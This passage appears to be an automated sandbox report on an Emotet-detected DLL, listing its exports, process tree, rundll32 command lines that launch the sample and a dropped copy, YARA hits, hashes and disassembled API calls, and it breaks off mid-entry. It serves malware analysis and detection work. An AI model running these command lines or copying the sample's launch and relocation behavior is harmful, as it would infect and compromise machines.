yggdjrsewuw	59	0x100015a0
zaeqdmhaky	60	0x100017e0
zakvwkjnk	61	0x10001700
zqbggkzy	62	0x100014f0
zqtdpertk	63	0x100014d0
zshfybkvzv	64	0x10001810
zxxopqyvfoesyhmup	65	0x10001530

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 6880 Parent PID: 5432

General

Start time:	18:22:37
Start date:	01/12/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\mal.dll"
Imagebase:	0x13c0000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.1037130438.0000000000CF0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.1063275616.0000000000E8C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.1035699542.0000000000CF0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.1063104639.0000000000CF0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.1035947080.0000000000E8C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000002.1100911301.0000000000E8C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.1064906650.0000000000CF0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.1037359091.0000000000E8C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000002.1100727595.0000000000CF0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.1065208047.0000000000E8C000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6896 Parent PID: 6880

General

Start time:	18:22:38
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\mal.dll",#1
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6920 Parent PID: 6880

General

Start time:	18:22:38
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\mal.dll,Control_RunDLL
Imagebase:	0xb00000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000002.1028366032.0000000000800000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000003.971608734.0000000002CD9000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6932 Parent PID: 6896

General

Start time:	18:22:38
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\mal.dll",#1
Imagebase:	0xb00000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.1031543020.0000000002E63000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.1023539885.0000000002CC0000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 7016 Parent PID: 6880

General

Start time:	18:22:42
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\mal.dll,axamexdrqyrgb
Imagebase:	0xb00000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.1033480524.000000000310A000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.1033332210.0000000003070000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 7032 Parent PID: 6880

General

Start time:	18:22:52
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\mal.dll,bhramccfbdd
Imagebase:	0xb00000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.1035861580.0000000004AF0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.1035732972.0000000003193000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2600 Parent PID: 6932

General

Start time:	18:25:02
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL
Imagebase:	0xb00000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6464 Parent PID: 6920

General

Start time:	18:25:05
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lxelxho\ggoife.qjv",clLaoeKXf
Imagebase:	0xb00000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.1168490551.0000000002D7A000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.1167572272.0000000000A90000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 4972 Parent PID: 7016

General

Start time:	18:25:24
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL
Imagebase:	0xb00000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5532 Parent PID: 7032

General

Start time:	18:25:29
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal.dll",Control_RunDLL
Imagebase:	0xb00000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5672 Parent PID: 568

General

Start time:	18:25:29
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 5648 Parent PID: 5672

General

Start time:	18:25:30
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6880 -ip 6880
Imagebase:	0xea0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 5528 Parent PID: 6880

General

Start time:	18:25:35
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6880 -s 304
Imagebase:	0xea0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 4588 Parent PID: 5672

General

Start time:	18:25:42
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 6880 -ip 6880
Imagebase:	0xea0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 1744 Parent PID: 6880

General

Start time:	18:25:45
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6880 -s 324
Imagebase:	0xea0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5400 Parent PID: 568

General

Start time:	18:26:06
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 5960 Parent PID: 6464

General

Start time:	18:26:28
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Lxelxho\ggoife.qjv",Control_RunDLL
Imagebase:	0xb00000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 7116 Parent PID: 568

General

Start time:	18:26:37
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 6880 Parent PID: 5432 loaddll32.exeCOMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	1353
Total number of Limit Nodes:	24

Executed Functions

Function 6E56C050, Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 394
filememoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(asd,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6E56C225
GetLastError.KERNEL32 ref: 6E56C22B
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 6E56C247

Strings

asd, xrefs: 6E56C21C

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: AllocCreateErrorFileLastVirtual
String ID: asd
API String ID: 1112224254-4170839921
Opcode ID: a93061d47e19a393d3c4605eeba20cf300c5953ded2743c119c842e07579ef29
Instruction ID: f2275cb044c791049e5d780da9afcd63a0555b06d552b273e799312586a9479a
Opcode Fuzzy Hash: a93061d47e19a393d3c4605eeba20cf300c5953ded2743c119c842e07579ef29
Instruction Fuzzy Hash: 04E1B971A083068FCB50CF98C890B2AB7F1BF88714F15496DE9998F366D731E855CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6E551290, Relevance: 3.9, APIs: 3, Instructions: 137
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6E56BE60: GetTickCount64.KERNEL32 ref: 6E56BE96
Part of subcall function 6E56BE60: GetTickCount64.KERNEL32 ref: 6E56BEB4
Part of subcall function 6E56BE60: GetTickCount64.KERNEL32 ref: 6E56BECD
Part of subcall function 6E56BE60: GetTickCount64.KERNEL32 ref: 6E56BECF
Part of subcall function 6E56BE60: GetTickCount64.KERNEL32 ref: 6E56BED6
Part of subcall function 6E56BE60: GetTickCount64.KERNEL32 ref: 6E56BEF4

GetProcessHeap.KERNEL32 ref: 6E551333
HeapAlloc.KERNEL32(00E70000,00000000,00023800), ref: 6E55134D
HeapFree.KERNEL32(00000000), ref: 6E551437

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: Count64Tick$Heap$AllocFreeProcess
String ID:
API String ID: 2047189075-0
Opcode ID: 988f7f5b3f6250becb2d4470c396b1c767f2f44efff5c35abb43cbdacb97ee77
Instruction ID: 48169d1c2f653e297ebab66c62d79ba49cc6e4638341fd37db2538e13465eaf9
Opcode Fuzzy Hash: 988f7f5b3f6250becb2d4470c396b1c767f2f44efff5c35abb43cbdacb97ee77
Instruction Fuzzy Hash: A851B070904B408BD720CF69C940AA6BBF4FF59314F118A6DE9D68BBA1EB34F555CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6E56C8DB, Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6E56C922
___scrt_uninitialize_crt.LIBCMT ref: 6E56C93C

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: e68cc3a820211264044b405a8207a52e25ca467420ba658dab207e721cf03d04
Instruction ID: 5e90e8e2e39c6eef0efc270c659571a82f74c0642dd1010d537dc82f759cc86c
Opcode Fuzzy Hash: e68cc3a820211264044b405a8207a52e25ca467420ba658dab207e721cf03d04
Instruction Fuzzy Hash: F441B172E05625AFDF50DFE9C800BAE7BF9EB85B94F114919E914AF260C7309D41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E56C98B, Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6E56C9C8
dllmain_crt_dispatch.LIBCMT ref: 6E56C9DF
dllmain_raw.LIBCMT ref: 6E56CA27
dllmain_crt_dispatch.LIBCMT ref: 6E56CA3A
dllmain_raw.LIBCMT ref: 6E56CA4D

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 66dce6b59a1fe2e6cb1f131ff6d4efac4affd5cc906363bd412f0e74792a54d5
Instruction ID: d32a8b1e5b795c8682cbc657f9dfdfcd288d5afa2bf40e6a2a953cd4ba441ddb
Opcode Fuzzy Hash: 66dce6b59a1fe2e6cb1f131ff6d4efac4affd5cc906363bd412f0e74792a54d5
Instruction Fuzzy Hash: DB213072D01515AFDF61CEE5C840ABF3BE9EB85B94F014915F9145E260D7309D41CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C2A0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNELBASE(api-ms-win-core-synch-l1-2-0), ref: 6E55C2A5
GetProcAddress.KERNEL32(00000000,WakeByAddressSingle), ref: 6E55C2B5

Strings

api-ms-win-core-synch-l1-2-0, xrefs: 6E55C2A0
WakeByAddressSingle, xrefs: 6E55C2AF

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: WakeByAddressSingle$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1731903895
Opcode ID: 7c9d349d8108c28e447e4b4405dfa3d7207f93626b7feb2aa043428e0840721a
Instruction ID: 1c5f24da47f4d5ceb3a3fa9b3f80b000fef2b5e6598df7f37ccfb6d84c76b614
Opcode Fuzzy Hash: 7c9d349d8108c28e447e4b4405dfa3d7207f93626b7feb2aa043428e0840721a
Instruction Fuzzy Hash: CDB092B0A2061167DE90AAF5890CAAE3AD8AA812423020C466655E9203FE34C4209A61

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C320, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNELBASE(api-ms-win-core-synch-l1-2-0), ref: 6E55C325
GetProcAddress.KERNEL32(00000000,WaitOnAddress), ref: 6E55C335

Strings

WaitOnAddress, xrefs: 6E55C32F
api-ms-win-core-synch-l1-2-0, xrefs: 6E55C320

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: WaitOnAddress$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1891578837
Opcode ID: 26cc3c3daf6202351371d67b5f1d1e594adc88d816d4510528562938b2733851
Instruction ID: d36759325b19e7ae7afbafdadc68c1b8e9d77108a23a110f556fdcead3ff005b
Opcode Fuzzy Hash: 26cc3c3daf6202351371d67b5f1d1e594adc88d816d4510528562938b2733851
Instruction Fuzzy Hash: 84B092B0A2061166DE90AAF9890CAAE3AD8BA5174231208426216D9213EE35C020D921

Uniqueness

Uniqueness Score: -1.00%

Function 6E56C7D4, Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6E56C821

Part of subcall function 6E56CEAD: InitializeSListHead.KERNEL32(6E5AE4A0,6E56C82B,6E5AAF60,00000010,6E56C7BC,?,?,?,6E56C9E4,?,00000001,?,?,00000001,?,6E5AAFA8), ref: 6E56CEB2

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6E56C88B

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 94004589c0f678725ef941bc162f7c471371caf89d6fbb025b511508141ef7d1
Instruction ID: cfa551c33bc09edeb04f24b8d6d836bd925866f4ab04c8fd09a44d33f0bcdbe6
Opcode Fuzzy Hash: 94004589c0f678725ef941bc162f7c471371caf89d6fbb025b511508141ef7d1
Instruction Fuzzy Hash: 8421E732648605AEEF616BF5C8007ED37E59F8636DF210C19D6412F2E2DF764881CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E57475C, Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6E5747A8
GetFileType.KERNELBASE(00000000), ref: 6E5747BA

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 035c6706860f730b47784aec93fd8112fcf8409200acdaf54044e65962b9bea1
Instruction ID: 4d9b775ce47d99e2fe6354806698c083d45c584d6715b836b1e4ed2ba0bf22f7
Opcode Fuzzy Hash: 035c6706860f730b47784aec93fd8112fcf8409200acdaf54044e65962b9bea1
Instruction Fuzzy Hash: 5111E6B1604B628ACF708EBE8C987227AD9AB47270B244B1AD4B6C65F1C730D4A3C641

Uniqueness

Uniqueness Score: -1.00%

Function 6E572C26, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,6E57283F,00000001,00000364,?,FFFFFFFF,000000FF,?,?,6E56CB0C,?,?,6E56C074), ref: 6E572C67

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 220c93147d4a5e17b9cb4710fd3e599f0a9b98f03c9f081df33a909f426cc93e
Instruction ID: 87259b82a48f4964c830937375c99d16045944b5a0c358edc5553797cecd457a
Opcode Fuzzy Hash: 220c93147d4a5e17b9cb4710fd3e599f0a9b98f03c9f081df33a909f426cc93e
Instruction Fuzzy Hash: 38F0E075104525BEEF715EF7891479B37DD9F51760B118512FE1497184DF30D83181E1

Uniqueness

Uniqueness Score: -1.00%

Function 6E56F3B1, Relevance: 1.5, APIs: 1, Instructions: 27
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,6E571E1B,?,?,?,?,00000000,?,00000000,?,?,6E574EAE,?,=MWn,00000000,?), ref: 6E571C3F

Memory Dump Source

Source File: 00000000.00000002.1101112899.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000000.00000002.1101062190.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101169948.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1101230201.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1101250960.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.1101284634.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e550000_loaddll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: bc717619a86eea5968522aafa0761ac91e7509d1d040a41fa0902dc4bc06f733
Instruction ID: 36e21596040034561df7afa7a474afd0cffa353e6bf5a32d41ebccc8cc90a844
Opcode Fuzzy Hash: bc717619a86eea5968522aafa0761ac91e7509d1d040a41fa0902dc4bc06f733
Instruction Fuzzy Hash: 97E04FA578461721FE7526F00F3ABBA26CD1B9570CF140814AB18AC0D2EF8488758121

Uniqueness

Uniqueness Score: -1.00%

Function 6E571C23, Relevance: 1.5, APIs: 1, Instructions: 23
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

